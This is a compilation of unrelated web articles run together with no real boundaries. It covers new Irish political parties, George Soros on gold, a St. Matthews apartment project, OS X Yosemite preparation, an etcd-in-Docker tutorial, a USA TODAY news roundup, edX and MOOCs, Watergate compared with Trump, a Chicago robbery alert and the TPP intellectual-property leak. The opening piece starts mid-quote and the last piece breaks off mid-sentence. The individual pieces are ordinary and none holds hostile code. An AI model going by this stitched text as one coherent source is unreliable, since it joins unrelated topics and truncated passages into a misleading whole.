We’ll have to see how they all work together. Everyone has to work hard in training, even if they’ve been left out.  "That makes the difference in the long run. Everyone must give 100% and get involved.”
-AT LEAST four newly formed groups are working towards registering as political parties ahead of the next general election.  The groups were formed in recent months and are at very early stages of development. The membership of each falls short of the 300 required by the Register of Political Parties.  All are holding meetings this month to boost membership and draw up policies. One group, Fís Nua, or New Vision, said it has close to 100 members.  Fís Nua is a splinter group of the Green Party and two of its most prominent personalities, former MEP Patricia McKenna and Pat Kavanagh, are former Green Party members who became disillusioned with the party after it entered Coalition.  The other groups were formed to address what they claim are “democratic deficits” in the political process.  The main platform of Direct Democracy Ireland, which held a meeting in Dublin last night, is to allow citizens to petition for a referendum to allow Government decisions be negated.  It also wants mechanisms introduced to grant the electorate the power to sack TDs and Senators who are not performing satisfactorily. The group’s founder is Raymond Whitehead. He came to prominence in the 1980s when he owned a restaurant in Temple Bar and organised local residents and businesses to campaign against over-development of the district.  “People would like to be either consulted or have a mechanism where they could call a referendum if they felt strongly over an issue,” he said.  Others associated with the group are environmental campaigner Vincent Salafia and a community activist Bernard Kenny.  A former local election candidate is also trying to form a party to replace Fianna Fáil and Fine Gael. Leo Armstrong ran as an Independent candidate in Clane, Co Kildare, last year, but was unsuccessful. A meeting to form a new party will be held in Kilkenny on July 21st.  A Cork businessman, Michael Murphy, describing himself as an “ordinary Joe Soap”, hopes to set up the Reform Party to effect a “democratic revolution”.
-AP There's a new interview with George Soros out in the popular Hong Kong newspaper the South China Morning Post.  A lot of the interview is about the Chinese development model, Chinese stocks, real estate, etc.  There's also an interesting section about gold.  Q: What is your view on gold?  A: That's a complicated question. It has disappointed the public, because it is meant to be the ultimate safe haven. But when the euro was close to collapsing in the last year, actually gold went down, because if people needed to sell something, they could sell gold. Therefore they sold gold. So gold went down together with everything else.  Gold was destroyed as a safe haven, proved to be unsafe. Because of the disappointment, most people are reducing their holdings of gold. But the central banks will continue to buy them, so I don't expect gold to go down. If you have the prospect of a crisis, you will have occasional flurries or jumps. So gold is very volatile on a day-to-day basis, no trend on a longer-term basis.  This explanation for gold's weakness isn't one that we've heard before (most explanations involve the lack of volatility and the increase in US real interest rates).  That being said, his point about how gold is not a safe-haven is spot on. During overall weakness, when central banks are trying to push down real interest rates, gold seems to benefit. But in a real panic, people sell gold to raise cash.  Read the full SCMP interview here -->
-A rendering of a proposed project at 4156 Shelbyville Road that features apartments, retail and restaurant space. (Photo: Courtesy Investment Property Advisors, LLC)  Plans for a $40 million retail and apartment project on Shelbyville Road are on hold, pending an effort by the developer to appease some neighbors' concerns.  Investment Property Advisors recently asked the St. Matthews City Council to delay acting on its pending development plan until it can get more input from residents.  A community meeting for discussion of revisions has been scheduled for 6 p.m. Tuesday, Sept. 5, at the St. Matthews Community Center on Ten Pin Lane.  The developer plans the project at 4156 Shelbyville Road, land it currently has under contract — a site long occupied by the Tafel Motors luxury auto dealership.  Read this: Historic synagogue near St. Matthews to be torn down for luxury apartments  Tafel plans to relocate to a suburban site near Old Henry Road and the Gene Snyder Freeway. The Tafel buildings would be demolished. The adjacent Mini of Louisville dealership at Hubbards Lane would remain.  The plan for developing the Tafel site features an eight-story building, with 276 apartments on the upper seven floors and about 15,000 square feet of retail and restaurant space on the ground level.  The site already carries the correct zoning for the IPA development. The plan was recently recommended for approval by the Metro Planning Commission, after which the plan was forwarded to the St. Matthews council for final review.  Background: Large apartment complex coming to old Tafel Motors site in St. Matthews  Related: Tafel Motors details plan to move Mercedes-Benz dealership to suburban site  But Jonathan Baker, the attorney for the developer, said in an interview Friday that some significant concerns were raised by residents before the St. Matthews council. They focused on traffic congestion and access to Church Way.  Baker said the developer asked the council to hold off on considering the plan until after the neighborhood meeting.  "We want to take a step back. We want to see if there is some way to accommodate" some of the residents' concerns, he said.  NEWSLETTERS Get the Breaking News newsletter delivered to your inbox We're sorry, but something went wrong Breaking news alerts Please try again soon, or contact Customer Service at 1-800-866-2211. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Keep an eye out for an email to confirm your newsletter registration. More newsletters  Investment Property Advisors was founded in 2004 and the company specializes in developing student housing.  The proposed St. Matthews project calls for the apartment amenities to include a pool, an exercise room, and 18,000 square feet of green roof space.  The apartments will range from one- to three-bedroom units and have "high-end finishes" with washers and dryers, the initial plan filing with metro regulators said. The units will rent for around $1,100 a month.  Reporter Sheldon S. Shafer can be reached at 502-582-7089, or via email at sshafer@courier-journal.com.  Read or Share this story: http://www.courier-journal.com/story/news/local/2017/09/01/st-matthews-apartment-complex-shelbyville-road-on-hold/624731001/
-OS X Yosemite is the latest version of the Mac operating system, complete with an overhauled user interface and a variety of new features that are sure to make your Mac experience better and more productive.  While OS X Yosemite is a free download and arrives as a simple to use installer from the Mac App Store, you’ll want to prepare your Mac before jumping into the update to OS X 10.10. That’s what we’re going to cover here with five simple tips to get everything squared away, updated, and ready to go.  1: Should you update your Mac to Yosemite?  This is a valid question many users have after experiencing some of the issues with prior versions of OS X and iOS, notably the weirdness that was Lion to the variety of bugs and annoyances brought to iOS 8 mobile devices with the more recent iOS launch.  Based upon a fair amount of testing, I would generally say yes, most Macs should update to OS X Yosemite. Performance wise Yosemite appears to be at least the same as Mavericks, and stability wise, it’s about as stable too. That’s a really good thing, most users will be able to update to OS X Yosemite and go right along their business, all while enjoying the new features brought to their Macs.  Perhaps the only reasons not to update to Yosemite would be due to compatibility reasons with some particular app (though if it runs in Mavericks, it will run in Yosemite), an unusually strong dislike for the redesigned user interface (which isn’t too different, just brighter and whiter), or, perhaps a more important potential issue related to the user interface, a readability issue with the thin system font which can be challenging to view on smaller screen Macs. For example, reading the Helvetica Neue system font on a MacBook Air 11″ gives me eyestrain, but that same font looks fine on 22″ monitor, and the font reads fine on any Mac with a Retina display. If you’re sensitive to that sort of thing and you primarily use a smaller screen Mac, it’s at least worth a thought. You can get an idea of what it would look like by downloading a full resolution screenshot of OS X Yosemite like this one and making it full-screen on your MacBook. If you can read everything fine, you should have nothing to be concerned about in terms of the new font. Any font readability issue will likely only impact a small number of users who have less than ideal eyesight and who use Macs with the smallest displays.  2: Confirm System Requirements Compatibility  System requirements for OS X Yosemite are quite generous, and if the Mac is capable of running OS X Mavericks then it can also run OS X Yosemite. The minimum hardware list as determined by developer versions is as follows:  iMac (Mid-2007 or newer)  MacBook (13-inch Aluminum, Late 2008), (13-inch, Early 2009 or newer)  MacBook Pro (13-inch, Mid-2009 or newer), (15-inch, Mid / Late 2007 or newer), (17-inch, Late 2007 or newer)  MacBook Air (Late 2008 or newer)  Mac Mini (Early 2009 or newer)  Mac Pro (Early 2008 or newer)  Xserve (Early 2009)  Those Macs or newer, which all have a Core 2 Duo or better processor, will run OS X Yosemite. You’ll also need at least 15GB of disk space available to download the update from the App Store and then install Yosemite, but realistically you should have more than that avaialble for performance reasons.  3: Update Apps & Install Lingering Software Updates  It’s always good practice to regularly update your Mac apps, system software, and the other occasional updates that come through to OS X, but many of us ignore these things. Before updating to a major new release of OS X, it’s a good idea to update all of this stuff though.  Head to the  Apple menu and choose “Software Update” Install whatever updates are waiting within the Updates tab of the Mac App Store  As usual, if any core system updates are in there, be sure to back up the Mac before installing them.  4: Perform General System Maintenance  Performing some general system maintenance is always a good idea, so try to make it a habit. We’ve touched on some easy maintenance tips before, and they still apply here.  If your Mac is low on hard drive space, free up disk space so that you have enough available storage to install the update and be sure that OS X has space to run well (that means plenty of room for caches, virtual memory, your own files and apps, etc).  Also, if you have some old Mac apps that are sitting around collecting dust and never being used, you may want to consider uninstalling them to free up some space and reduce overhead for functions like Software Update.  5: Back Up the Mac  You’re almost ready to install Yosemite! But before doing so, you absolutely must back up your Mac. This should not be considered optional, without a backup you could lose your stuff if something goes wrong. Don’t risk it, just back up your Mac. Time Machine is so easy to use, runs automatically and routinely, and external hard drives are cheap . Seriously, there’s no excuse and the risk is not worth it, always have backups.  Remember to start a backup with Time Machine right before you begin the actual installation with Yosemite, this insures that if a disaster happens, you can resume to exactly where you were right before the problem happened. Do not skip this!  6: Download Yosemite & Install  Checked everything off the list and you’re ready to go? Head to the App Store, start the download on your Mac, and update to OS X Yosemite, and enjoy!  Remember that to utilize the full feature set in OS X Yosemite, you’ll also want the latest version of iOS (iOS 8.1 or newer) on your iPhone, iPad, or iPod touch, this allows for features like Handoff, Continuity, and the ability to make phone calls from your Mac.
-Click and drag to scroll this panoramic view of Rio Del Mar.  The coastal community of Rio Del Mar can be found along the eastern edge of Soquel Cove, in the northern part of Monterey Bay. It is just a short drive from downtown Santa Cruz, and includes the waterfront and hillside housing developments of the city of Aptos. Rio Del Mar is one of the area’s most serene shore-side destinations, and a must-visit for anyone touring the California central coast.  As a low-key village, many of Rio Del Mar’s lodging options can be found in the nearby cities of Aptos and Capitola. However, two good local options are the Rio Sands Hotel and the Seascape Resort, both of which are within walking distance to spectacular beaches. If staying at the Rio Sands, try the casual Cafe Rio or even more casual Pixie Deli.  If staying at the Seascape Resort, you will want to try Sanderling’s Restaurant, which is located in the resort. Also consider the nearby Palapas Restaurant & Cantina located in the Seascape Village Shopping Center. All of these dining options are close to the beach, making it easy to walk straight to the shore after enjoying your meal (or vice versa).  With smooth sand and a clear view of the sea wherever you look, Rio Del Mar’s picturesque beaches are idyllic places for outdoor fun and relaxation. Rio Del Mar State Beach is long and family-friendly with numerous picnic tables, free parking, and a laid back atmosphere. Seacliff State Beach is just a 10 minute walk to the north via a bridge over Aptos Creek, or you can drive to the park entrance in about the same amount of time (fee for parking). At the end of the Seacliff Pier you will find the ruins of the SS Palo Alto, a huge concrete ship that rests as a historic landmark, and a favorite perching spot for the local seagulls and pelicans.  At Rio Del Mar’s southern end, Seascape Park offers lovely views of the water from lush hilltops. Families will also find plenty to do here, thanks to the presence of a picnic area, playground, restrooms, and benches artfully carved with images of the resident wildlife. To get down to the beach, look for the well-graded paved trail that leads from the resort north of the park.  If it’s open beaches, clear skies, and breathtaking sunsets you’re in need of, look no further than Rio Del Mar!
-Something special happened in Northern Ireland  If you think that people affecting by autism can’t excel, you need to think again… and again.  Kaylee Rodgers, a 10-year-old girl from Northern Ireland, Donaghadee, has amazed the entire world with her fantastic performance at the school’s Christmas show when she sang the choirs’ version of Leonard Cohen’s “Hallelujah.”  Kaylee suffers from autism and attention deficit hyperactivity disorder (ADHD), but apparently, her amazing voice is helping her to gain confidence.  Colin Millar, the principal of Killard House, commented  “For a child who came in P4 and wouldn’t really talk, wouldn’t really read out in class, to stand and perform in front of an audience is amazing. It takes a lot of effort on Kaylee’s part.”  We are speechless. Well done Kaylee!
-Running etcd in Docker Containers  • By Rob Szumski  Update: This blog post refers to functionality in an older version of etcd, 0.4.x. Check out the updated Docker guide for up-to-date information.  etcd is a highly-available key value store for shared configuration and service discovery. Running etcd within a docker container is a convenient way to deploy etcd or test out a sample cluster. Etcd containers are very easy to run — you just need to manipulate a few of the flags to make the networking work correctly. You can grab the etcd container or have docker download it automatically.  Start Containers  We're going to start three containers that use port 500x for the client communication and port 800x for the intra-cluster/raft communication. A few of the flags need to be modified per container:  -name needs to be unique  -peer-addr and -addr need to contain the IP where the machine can be reached on the outside of the container and a unique port number  -peers needs to contain a list of current members of the cluster and the port for server/raft communication ( 800x ). The first container doesn't need the -peers list since it will be the master.  In this example, all three of these containers will be running on the same machine. Here are the three docker run commands that will get the cluster up and running. First, export a variable with your public IP address:  export PUBLIC_IP=54.196.167.255  And then start up our leader + two followers:  docker run -d -p 8001:8001 -p 5001:5001 quay.io/coreos/etcd:v0.4.6 -peer-addr ${PUBLIC_IP}:8001 -addr ${PUBLIC_IP}:5001 -name etcd-node1  docker run -d -p 8002:8002 -p 5002:5002 quay.io/coreos/etcd:v0.4.6 -peer-addr ${PUBLIC_IP}:8002 -addr ${PUBLIC_IP}:5002 -name etcd-node2 -peers ${PUBLIC_IP}:8001,${PUBLIC_IP}:8002,${PUBLIC_IP}:8003  docker run -d -p 8003:8003 -p 5003:5003 quay.io/coreos/etcd:v0.4.6 -peer-addr ${PUBLIC_IP}:8003 -addr ${PUBLIC_IP}:5003 -name etcd-node3 -peers ${PUBLIC_IP}:8001,${PUBLIC_IP}:8002,${PUBLIC_IP}:8003  Testing the Cluster  You should be able to test the cluster by curling any of the machines in the cluster or viewing the dashboard in a browser. Let's request /stats/leader which should indicate that all of our followers connected successfully:  curl -L 54.196.167.255:5001/v2/stats/leader  You should see something that looks like:  { "leader" : "etcd-node1" , "followers" :{ "etcd-node2" :{ "latency" :{ "current" : 1.33342 , "average" : 1.6575929235264224 , "standardDeviation" : 0.8596793375097724 , "minimum" : 1.034932 , "maximum" : 27.428239 }, "counts" :{ "fail" : 4 , "success" : 3936 }}, "etcd-node3" :{ "latency" :{ "current" : 1.448973 , "average" : 1.7457679780163597 , "standardDeviation" : 2.3964311316740465 , "minimum" : 1.063433 , "maximum" : 86.745084 }, "counts" :{ "fail" : 14 , "success" : 3912 }}}}  As you can see, etcd-node1 is the current leader and etcd-node2 and etcd-node3 are successfully connected as followers. You can check out the dashboard module at /mod/dashboard but you'll need to launch etcd with -cors='*' to make the cross-origin requests work.  Flags  Below is a quick description of the flags we used in this example and some other common ones:
-Mylan CEO faces the (congressional) heat  Does your EpiPen cost a fortune? Blame Mylan for that. Anger and bipartisan disgust toward Mylan, the drugmaker that sells the EpiPen, increased after the company hiked up prices to $608 for a two-pack, up from about $100 in 2009. The company is also under fire for other shady practices involving the CEO’s mother. But Mylan's chief executive says not so fast."I think many people incorrectly assume we make $600 off each EpiPen. This is simply not true," CEO Heather Bresch told a House committee in Washington. Missing from Bresch’s testimony: an apology. She instead defended her $18 million compensation package. The public isn’t buying it.  Another day, another shooting  If this past summer wasn’t enough, America is now dealing with two more police shootings that killed black men: one in Charlotte, the other in Tulsa. The response remains the same: Police say they felt threatened and were forced to take lethal action; the families disagree. In Charlotte, Keith Lamont Scott was shot and killed Tuesday by Officer Brentley Vinson. Police thought Scott was holding a handgun, but witnesses say he was holding a book. Yet Charlotte-Mecklenburg Police Chief Kerr Putney said at a news conference that a gun was recovered by detectives. In Tulsa, police said they were responding to an abandoned car in the middle of the road Friday, when officers shot Terence Crutcher as he held his hands in the air and walked away. Crutcher's twin sister, Tiffany Crutcher, wants charges pressed against police officer Betty Shelby, who shot her brother. Police Chief Chuck Jordan said he called in the Justice Department to ask for an investigation. Cue more "Hands up, don't shoot,"Black Lives Matter protests.  The Fed rate is unchanged. But it was a close call.  Good news for financial markets and investors. They dodged the rate-hike bullet for now. The reason? There was simply too much dissension among Fed policymakers Wednesday amid an uncertain economic outlook. Instead, a divided Federal Reserve opted to leave interest rates unchanged. Fed Chair Janet Yellen said at a news conference, "The economy has a bit more running room than might have been previously thought." But she added, "We don't want the economy to overheat.” Most officials expect the Fed to increase interest rates later this year, likely in mid-December. What does that mean for the average American? Winter is coming, and so are rate hikes.  Forecast in 'Future', new Nikes make tying laces a thing of the past  Forget handheld computers. Hoverboards? Yawn. The REALLY important prediction from Back to the Future Part II — self-lacing sneakers — is almost a reality. "Power laces! All right!," Marty McFly exclaimed in the 1985 film, and now Nike says its battery-powered HyperAdapt 1.0 will arrive Nov. 28, the Monday after Thanksgiving "at select Nike locations." In addition to being a cool gimmick that may fetch big bucks, Nike says being able to tighten and loosen laces on the fly is a real performance upgrade. Wearers will adjust the laces by pressing a "+" button by the tongue of the shoe to tighten, and a "-" button to loosen. In the future — the real future — the laces will tighten automatically, according to Nike.  Say hello to Allo.  Move over Facebook Messenger, WhatsApp, Snapchat and iMessage, Allo has arrived. Google’s new messaging app, Allo (pronounced aloe, not all-o), was announced in May during Google’s I/O conference. But it debuted Wednesday in the Google Play Store and Apple App Store. Allo is Google’s answer to the new wave of messaging apps dominated by Facebook. It’s also a coming out party for the A.I.-driven Google Assistant. Allo gives you smart reply buttons and more than two-dozen stickers to express yourself. It has a Snapchat feature that lets you send private end-to-end, encrypted messages that can be made to disappear after they've been read. Google has designs on taking down Amazon with its Google Home, Daydream and Android Instant apps.  Extra Bites  Fall starts Thursday. College football is ready.  #Brangelina is over. We hope their kids get through this.  Please stop using the N-word. Please.  Want the Short List delivered straight to your inbox? Sign up!  This is a compilation of stories across USA TODAY.  Read or Share this story: http://usat.ly/2dkBfxH
-'We Don't Talk Like That': Reflecting on 'Fargo' 20 years later  Diane Richard and Todd Melby at 'Fargo' screening Courtesy of Todd Melby  When Joel and Ethan Coen's "Fargo" hit theaters in 1996, it was a bloody sensation. It grossed $60 million at the box office, and was nominated from multiple Academy Awards, including Best Picture. Frances McDormand took home an Oscar for her role as the unshakeable Brainerd police chief, Marge Gunderson.  The film's reception in Fargo, though, was a little frostier.  It reduced life in the North to a caricature, some complained: Nothing but parkas and overblown accents.  "We don't talk like that," some grumbled.  That's where documentarians Diane Richard and Todd Melby, of 2 Below Zero, took their cue for their documentary celebrating the 20th anniversary of the film. "Fargo" turned 20 this spring, and Richard and Melby produced an in-depth look at film in "We Don't Talk Like That: 'Fargo' and the Midwest Psyche."  They interviewed everyone from William H. Macy, who plays the blundering and permanently down-on-his-luck Jerry Lundegaard, to the dialect coach, Liz Himelstein, who gave "Fargo" its trademark long vowel sounds.  The Coen brothers, who were raised in St. Louis Park, Minn., emphasized the accent in their original script, Himelstein said: "That really allowed for the dialect to almost be another character."  Macy, who originally hails from Georgia, had to pick up not only the accent but also other tell-tale Minnesota mannerisms, like stomping your boots every time you come inside, and that iconic frustration that comes from scraping ice off a windshield.  For that famous scene, Macy recalls in the documentary, the Coen brothers told him to really cut loose.  "I think I ended up breaking two or three ice scrapers," Macy laughed.  To listen to the full documentary, "We Don't Talk Like That: 'Fargo' and the Midwest Psyche," from 2 Below Zero, use the audio player above.
-MIT electrical engineering and computer science professor Anant Agarwal was a guest on Comedy Central’s “The Colbert Report” a few years ago. He told host Stephen Colbert about his online learning site, edX, saying, “You can take these great courses from MIT, from Harvard … and it’s free.”  The comedian quipped, “[If] I go to an elite university — let’s say I go to your Harvards or your MITs or your Berkeleys out there — I get to say ‘I went to Harvard.’ That’s half of what you’re paying for!”  Humor aside, the exchange touched on a controversy that has been raging for years now about distance learning programs.  About a decade ago, MOOCs (Massive Open Online Courses) generated tremendous excitement over the idea that anyone with an Internet connection could learn anything they wanted for free. The hype eventually gave way to hard questions about quality and effectiveness. Studies done in 2013 by the University of Pennsylvania’s Graduate School of Education and by the U.K.’s Open University reported MOOC course completion rates at only around 4% to 7%. But more recently, pundits have been opining that the low completion rates don’t really matter if people are still benefitting from substantial amounts of the content.  Big questions remain, however: Is it better to learn online for free than break the bank (or your parents’ bank) to go to college? Is higher education about acquiring knowledge and skills, or about acquiring an elite university degree that can get you a foot in the door with an employer?  “The power of technology, the power of software, is that we can give it away for free. Free is powerful.”  At the recent Reimagine Education conference at Wharton, Agarwal said that edX — a non-profit online learning destination founded in 2012 by Harvard and MIT — is trying to take MOOCs to a new level, and represents the future of education. In addition to being the CEO of edX, Agarwal is a serial entrepreneur, having co-founded several companies including Tilera Corporation, which created the Tile multicore processor. In 2012, he was included in Forbes’ list of the top 15 education innovators.  Free Education All Over the World?  Agarwal himself taught the first edX course — an MIT class on circuits and electronics –which drew 155,000 students. (He noted that 155,000 is “larger than the total number of alumni of MIT in its 150-year history.”) Today, according to Agarwal, edX has six million learners, “from every single country in the world,” and more than 19 million course enrollments. Currently offered in several languages are 838 courses in 31 subject areas, from architecture and business to physics and the social sciences.  “We partner with great institutions all over the world to offer content,” said Agarwal. edX’s 100-plus institutional partners make up an impressive, global list that includes Berkeley, Columbia, Cornell, Dartmouth, Georgetown, Princeton, the University of Chicago, the University of Pennsylvania, Australian National University, Delft University of Technology, McGill, Peking University, Seoul National University, and the Sorbonne, to name a few.  edX makes its platform freely available as open-source. Agarwal noted that several countries have adopted it to build national infrastructures for online learning, including France, Saudi Arabia, Jordan, China, Hong Kong and Korea. “Most excitingly … Russia in early September launched Open Edu.ru, which is Russia’s national platform using Open edX. How cool is that?”  Agarwal emphasized that there is no charge to use edX. “These courses can be taken by people all over the world, and the cost per incremental learner per course is virtually zero,” he said. He was asked about edX’s overall expenses as a non-profit organization, and acknowledged that substantial fixed costs do exist. “That’s true for software as well,” he commented. “It’s extremely expensive to produce software, but the cost to stamp out a download is virtually zero.”  He said that having a low marginal cost per student means that the current in-person higher educational model — in which each student typically shells out thousands of dollars for an education — can be completely changed. “The power of technology, the power of software, is that we can give it away for free. Free is powerful Twitter ,” he said.  Agarwal talked about some of his “favorite students,” including a 25-year-old Pakistani woman who was married when she was in ninth grade and had to leave school. “She discovered these courses and she tells us that she’s now been learning online…. Her husband is very supportive.” He noted that the first course she took was “Justice,” an introduction to moral and political philosophy that is considered one of the most famous courses taught at Harvard.  “These courses can be taken by people all over the world, and the cost per incremental learner per course is virtually zero.”  Another notable learner was a former American soldier who wanted to continue his education after two tours of duty. He also took a Harvard course, edX’s Introduction to Computer Science. With the help of LaunchCode, an edX partner in St. Louis that places people with non-traditional credentials in technology jobs, he got a job at the creative studio Yellow Brick. He directly credits the edX course for helping him get the position, said Agarwal.  Instant Gratification for a Younger Generation  Commentators speculate on whether online learning can ever measure up to traditional on-campus education. But in Agarwal’s view, it might actually be better, especially for younger people.  He said it’s important to consider how our children are learning today and how it differs from years ago. “[Kids are] used to 140-character conversations; Snapchat — where, unless you look at something, it instantly goes away; WhatsApp, YouTube, the list goes on and on.” These sites provide the user with instant information and instant gratification, he said.  He contrasted this with the conventional educational system. “When I went to school, I would do my work, and if I was lucky, two weeks later I would get some grades back…. Think about how we tolerated that and how we still tolerate it.” He said that today’s technologies give learners quick feedback that can improve educational outcomes.  Moreover, the technology continues to improve, yielding possibilities that Agarwal said he could not have anticipated when the organization was founded only four years ago. “These technologies are not your grandfather’s online learning. We have gone so well past [just] videos and multiple choice, it’s not even funny.”  He said a videotaped lecture, for example, could be replaced by a “a learning sequence”: a series of short videos interweaved with interactive exercises such as quizzes, discussions and other forms of interaction between the instructor and the students, or even among the students. edX also offers gamification and virtual labs. “Students can come in and sketch out molecules … play around and get graded for things like that. It enables students to learn by physically doing things.”  Electronic grading itself is evolving, too, said Agarwal. “With technology we can do all kinds of grading. We can grade formulaic responses … we have drag and drop; we have image response.” What about essays? edX uses peer evaluation. “The beauty of peer evaluation is that for each student who comes in to write an essay, that student may also serve as a grader,” he said. “So in some sense, each customer also becomes a supplier. And using this crowdsourcing technique, you can then get scale.”  In the testing phase now is a second technique: AI grading. He explained that in this scenario, the professor grades the first 100 submitted essays using a rubric. That process serves to train a machine learning model so that all subsequent essays can be graded by the computer.  “These technologies are not your grandfather’s online learning. We have gone so well past [just] videos and multiple choice, it’s not even funny.”  Agarwal and his colleagues have some other ideas and improvements in the works. One is “teams,” or study groups that could bring together students from all over the globe virtually. Another is cohorts, such as alumni from a particular university or employees in a corporation, who might receive special material from the professor and have a private shared discussion area. This could be a potential revenue stream for edX, he noted.  The Final Frontier: Academic Credits  edX is just now beginning to launch courses that grant academic credit for students who pass. Agarwal characterized this as “the one big driver for us…. Credit is that ultimate threshold.”  For a while now, the organization has also been awarding certificates. Agarwal described the impact that change had on users. He noted that when edX first got started, the pass rate was only 6%. Then the platform introduced verified certificates: For a fee of about $50, people would receive a certificate if they passed the course. (Certificates can be used, for instance, to “highlight skills on your resume or LinkedIn profile,” according to the edX site.)  The pass rate of people signed up for that benefit shot up to 60%. “This is the [same as the] average six-year pass rate for all the universities across the U.S. Not a bad number,” says Agarwal. To date, over 580,000 certificates have been earned.  All this was well and good, commented one audience member, but would employers ever come to accept micro-credentials — individual certificates of digital accomplishment — in place of a bachelor’s or master’s degree?  “Large employers are looking at these credentials as a way to either promote people or hire people,” Agarwal responded. He noted that edX has collaborated with organizations such as Aspiring Minds, an Indian company that connects learners to employment. Plus, he said, MIT is in discussion with a number of employers who are interested in the idea of a “micro-master’s” credential.  He said that to truly alter the educational and employment ecosystem, edX would need to increase its successes, demonstrate that the course quality was good and show that learners were “learning about the same, or more, or close enough to what they would get in a campus education…. Once the press begins talking about it, and cost pressures continue beating up on everybody, I think there is a path forward.”
-At the time, I had been working on Cox’s team for only four months and had just been promoted to chief of the task force investigating obstruction-of-justice allegations against Nixon. It was one of five such task forces that Cox organized to carry out his broad mandate. Although Nixon ordered the special prosecutor’s office abolished and commanded the FBI to seize our office and files, we remained employed by the Justice Department. Homeless, leaderless, and dazed by our proximity to the explosion the president had detonated in our midst, we brushed ourselves off and vowed to continue our work in whatever capacity we could.  It was only a matter of days, though, until the firestorm of public and congressional outrage over Cox’s firing forced Nixon to reverse course and promise to obey court orders that compelled his release of eight tape recordings. We returned to our office and were reunited with our files, and a new special prosecutor, Leon Jaworski, was soon appointed to lead the Watergate inquiry. Amid all the furor—which didn’t end there—the public correctly asked the question “What was Nixon hiding?” The answer was not long in coming: a lot. The tapes proved Nixon was not only a liar, but also an early leader of a plot to obstruct the investigation of those who organized and financed the DNC break-in. Nixon’s choice was either to face the music—likely impeachment, conviction, and removal from office—or resign.  In Watergate’s aftermath, I thought the unique circumstances that led to Nixon’s resignation in disgrace could never be replicated. But after just six months in office, the comparisons between Presidents Trump and Nixon are mounting:  Watergate involved political espionage and electronic wiretapping by the Republican candidate’s campaign committee against the DNC. “Russiagate” involves political espionage by the Russians against the Democrats, with possible collusion by members of the GOP candidate’s campaign or advisers.  Watergate saw the president’s firing of a special prosecutor. In Russiagate, FBI Director James Comey was fired after, in the president’s own words, the bureau’s investigation had put “great pressure” on him.  Nixon called the Senate Watergate hearings a “witch hunt,” and Trump repeatedly uses the same term to criticize the ongoing special-counsel investigation.  Nixon ordered CIA Deputy Director Vernon Walters to tell Acting FBI Director Pat Gray to back off the investigation tracing cash found on the arrested burglars at the scene of the crime. According to Comey’s sworn testimony before the Senate, Trump told him to go easy on former National Security Adviser Michael Flynn, who is being investigated in part for lying about his contacts with Russian officials.  Nixon aide Alexander Butterfield revealed the existence of a secret White House taping system in Senate testimony. Trump once suggested that he may have covertly taped his conversations with Comey, though on Thursday he denied doing so.
-LINCOLN SQUARE — Police are warning of robberies of businesses in the area, citing three cases where offenders with guns escaped with cash from registers.  The robbberies all occurred on Jan. 20th.  "In these casesm two offenders or three offenders entered the business, displayed a blue steel handgun and demanded money from the register," police said in an alert. "The offenders moved the victims to the rear of the store or into a storage area and took money, alcohol, cigarettes and other property."  The Jan 20th incidents occurred:  • 4900 block of north Damen Avenue at 7:53 p.m.  • 2500 block of west Lawrence Avenue aty 9:45 p.m.  • 4600 block of north Kedzie at 9:55 p.m.  Police describe the suspects in the first case as three black men, 19 to 22 years old, 5'8 to 5'10 and wearing dark clothes, gloves and a covering over their face. In the two other cases, the suspects are black men, 17 to 25, 5'6 to 5'8. They also wore dark clothing and gloves and had their faces covered, police said.  The Damen robbery was reportedly Windy City Liquors. Surveillance camera footage obtained by ABC7 showed the robbers storming into the business and overwhelming the clerk.  Brazen armed robbery caught on video in Ravenswood: https://t.co/gkhREaT252 pic.twitter.com/b8fAMz9C1T — ABC 7 Chicago (@ABC7Chicago) January 22, 2016  Police urge anyone who may have information about the crimes to contact the Bureau of Detectives - Area North at 312-744-8263.  For more neighborhood news, listen to DNAinfo Radio here:
-After the pro-transparency group WikiLeaks released the intellectual property chapter of the controversial Trans-Pacific Partnership (TPP) “trade” regime, the outcry around the world and across the political spectrum was swift and brutal. Among the many problems highlighted by critics of the scheme: the assault on national sovereignty and self-government; the threat to free expression, privacy, whistleblowers, and freedom of information; the generous handouts to Big Business cronies in everything from pharmaceuticals to Hollywood; conscripting Internet Service Providers (ISPs) into serving as agents of the transnational TPP regime; and much more.  Opponents say there are so many radical, lobbyist-inspired dangers lurking in the leaked text that passing it will be tough, even despite the GOP selling out their base and handing Obama "Trade Promotion Authority," restricting Congress' ability to stop the scheme. Still, with the text of what opponents are ridiculing as “ObamaTrade” set to remain officially secret until after it is imposed, the Obama administration is apparently hoping to ram through what it calls the “most progressive” trade regime in history with the help of establishment Republicans — all while keeping Americans in the dark about it.  Virtually everything that is known about the controversial scheme thus far has come from leaks. The latest shoe to drop in the saga came late last week when WikiLeaks leaked what it said was the TPP chapter governing intellectual property as of October 5, just days before the negotiations among the 12 governments behind the scheme were reportedly concluded in Atlanta. The New American has featured extensive coverage of other TPP provisions leaked previously. Those chapters outline, among other elements, radical immigration provisions, the establishment of international kangaroo courts purporting to have the power to overrule state and federal laws and courts in the United States, the push for empowering regional and international governance, the creation of unaccountable transnational regulatory bureaucracies, and much more.  The latest chapter to leak is likely to pour fuel on the fire as opposition to the scheme grows around the world. The Electronic Frontier Foundation, which champions privacy, free expression, and innovation and describes itself as the “leading nonprofit organization defending civil liberties in the digital world,” was among the many groups to lambaste the relevant section of the TPP agreement. It said the new leak “confirms our worst fears about the agreement, and dashes the few hopes that we held out that its most onerous provisions wouldn't survive to the end of the negotiations.” Acknowledging that the chapter might come across as “quite balanced” to the untrained observer, the group said “that's how it's meant to look, and taking this at face value would be a big mistake.” Upon digging deeper, EFF said, the rights of the public are all “non-binding,” while almost everything that benefits owners of intellectual property is binding.  In some cases, EFF continued, the penalties for copyright infringement under the TPP regime can even include jail time. That has traditionally been the case where infringing parties are operating a business of commercial piracy. “But under the TPP, any act of willful copyright infringement on a commercial scale renders the infringer liable to criminal penalties, even if they were not carried out for financial gain, provided that they have a substantial prejudicial impact on the rightsholder,” EFF explained, blasting the lack of “fair use” protections. The TPP regime would also criminalize anyone who gains unauthorized access to a trade secret in a computer system — without any mandatory exceptions when the information is accessed or disclosed in the public interest by whistleblowers or journalists. The EFF said that provision mirrors U.S. statutes used to “persecute hackers for offenses that would otherwise have been considered much more minor.”  And unfortunately, it is all bad news, the group said. “The TPP is the archetype of an agreement that exists only for the benefit of the entitled, politically powerfully lobbyists who have pushed it through to completion over the last eight years,” EFF explained in its wide-ranging critique of the latest leaked chapter. In fact, the deal is so bad when it comes to intellectual property, 